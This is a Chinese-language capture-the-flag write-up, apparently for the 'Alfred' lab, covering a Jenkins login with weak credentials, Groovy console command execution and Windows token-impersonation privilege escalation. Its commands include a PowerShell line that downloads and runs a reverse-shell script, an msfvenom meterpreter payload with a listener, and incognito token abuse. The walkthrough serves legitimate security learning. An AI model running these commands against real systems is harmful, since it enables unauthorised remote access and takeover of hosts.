Alfred

Alfred

信息收集

nmap扫下端口。

image-20240921215925176

8080端口是一个后台登录的,弱口令admin admin进行登录。

漏洞利用

参考链接:

https://www.jenkins.io/doc/book/managing/script-console/

里面有这样一句话:

Jenkins 具有 Groovy 脚本控制台,允许用户在 Jenkins 控制器运行时或代理运行时运行任意 Groovy 脚本。

image-20240921224028866

去访问script

然后去网上了搜了一下Groovy命令执行的函数。参考链接:https://www.cnblogs.com/yyhuni/p/18012041

1
println "whoami".execute().text

image-20240921224245004

可以看到命令执行成功。

这里我们去github上面找一个powershell反弹shell的脚本。

这里使用的nishang里面的代码

image-20240921230634185

https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

在攻击机上面开一个python服务,使得80开启。

1
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

image-20240921225432216

可以看到普通shell已经拿到。

使用msfvenom生成的exe文件获取meterpreter

1
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.14.74.6 LPORT=1234 -f exe -o shell-name.exe

生成完之后利用

1
powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')"

进行同样的操作。

image-20240921234817471

已经上传进去了。

然后进入msf进行监听端口。

1
2
3
4
5
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-thm-ip
set LPORT listening-port
run

最后运行exe文件 Start-Process “shell-name.exe” 等待监听

image-20240921235747489

提权

现在还不是administrator权限。

先到powershell模式下

1
2
load powershell
powershell_shell

查看一下分配的权限 whoami /priv

image-20240926214433185

这里的话其实能提权的地方不少,但是有的需要远程登陆到windows上才行,但也有我们能用的。

SeImpersonatePrivilegeSeDebugPrivilege

对于模拟令牌,有不同的级别:

  • SecurityAnonymous:当前用户/客户端无法冒充其他用户/客户端
  • SecurityIdentification:当前用户/客户端可以获取客户端的身份和权限,但不能冒充客户端
  • SecurityImpersonation:当前用户/客户端可以在本地系统上模拟客户端的安全上下文
  • SecurityDelegation:当前用户/客户端可以在远程系统上模拟客户端的安全上下文

下面是一些比较常见的滥用的权限:

  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeTcbPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege

参考:https://www.exploit-db.com/papers/42556

下面是再meterpreter中使用这个提权方法。

1
2
3
4
5
6
load incognito  //加载模块
list_tokens -g //查看可用令牌
impersonate_token "BUILTIN\Administrators" //模拟管理员令牌
ps //查看进程
migrate PID //迁移进程

image-20240926220853152

image-20240926221129775

这样即便有了更高权限,但是仍然不是特权用户,是由于 Windows 处理权限的方式 - 它使用进程的主令牌而不是模拟令牌来确定进程可以做什么或不能做什么。

我们ps看一下进程,找与getuid一样的程序。

image-20240926234823536

还是有挺多的。 使用命令迁移,迁移到与getuid名称一样的程序。

image-20240926235503241


Alfred
http://example.com/2024/09/21/Alfred/
作者
FSRM
发布于
2024年9月21日
更新于
2024年9月28日
许可协议